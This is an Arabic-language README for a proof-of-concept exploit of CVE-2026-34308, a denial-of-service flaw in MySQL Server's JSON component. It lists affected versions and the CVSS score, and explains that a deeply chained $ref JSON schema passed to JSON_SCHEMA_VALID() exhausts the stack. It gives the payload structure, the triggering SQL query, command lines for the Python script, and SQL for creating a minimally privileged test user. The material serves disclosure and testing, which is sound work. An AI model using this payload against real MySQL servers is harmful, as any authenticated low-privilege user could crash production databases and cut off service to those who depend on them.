
إثبات المفهوم لثغرة CVE-2026-34308، وهي ثغرة رفض خدمة في مكوّن JSON في خادم MySQL. توضّح استنزاف المكدس عبر سلاسل $ref العميقة في الدالة JSON_SCHEMA_VALID()، مما يؤدي إلى تعطّل الخادم. تتضمن سكربت PoC بلغة Python وتحليلًا تقنيًا.
النشرة الرسمية للبائع: Oracle Critical Patch Update Advisory — April 2026.
ثغرة أمنية في Oracle MySQL Server (المكوّن: Server: JSON).
الإصدارات المتأثرة المدعومة: 8.0.0–8.0.45، 8.4.0–8.4.8، و9.0.0–9.6.0.
تسمح الثغرة لمستخدم منخفض الامتيازات بتعطيل خادم MySQL (Crash).
درجة CVSS 3.1 الأساسية: 6.5 (تأثيرات على التوافر فقط)
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
الآلية المرصودة: استدعاء متكرر عميق (Deep recursion) أثناء قيام MySQL بتقييم JSON_SCHEMA_VALID() مقابل مخطط JSON (JSON Schema) يحتوي على سلسلة خطية طويلة من مؤشرات $ref، دون حد أقصى فعّال للعمق أثناء تجميع/التحقق من المخطط — مما يؤدي إلى استنفاد المكدس (Stack Exhaustion) وتعليق أو تعطل متكرر.
سلسلة الاستدعاء (مفاهيميًا):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ internal JSON schema validation → repeated $ref resolution
→ stack exhaustion → hang / crash
لهذا الإثبات المفاهيمي (PoC)، أي حساب MySQL مُصادق عليه يكفي: امنح فقط USAGE على *.* (الحد الأدنى من الامتيازات في MySQL — القدرة على الاتصال — دون SELECT أو وصول للجداول أو أدوار إدارية). إذا كان بإمكان المستخدم فتح جلسة وتنفيذ SELECT JSON_SCHEMA_VALID(...)، فيمكنه تفعيل الحالة.
poc_schema_dos.pyيبني مخطط JSON بسلسلة خطية من $ref (مثال بعمق 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
يُرسل إلى MySQL كالتالي: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
في الاختبارات ضد الإصدارات المعرضة للخطر، لوحظ أن هذا يُعطل الخادم خلال حوالي ثانية واحدة (يعتمد التوقيت الدقيق على العتاد، وعلامات البناء، وعمق المخطط).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
لاختبار حساب منخفض الامتيازات:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
ثم: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: سكربت الإثبات المفاهيميREADME.md: هذا الملف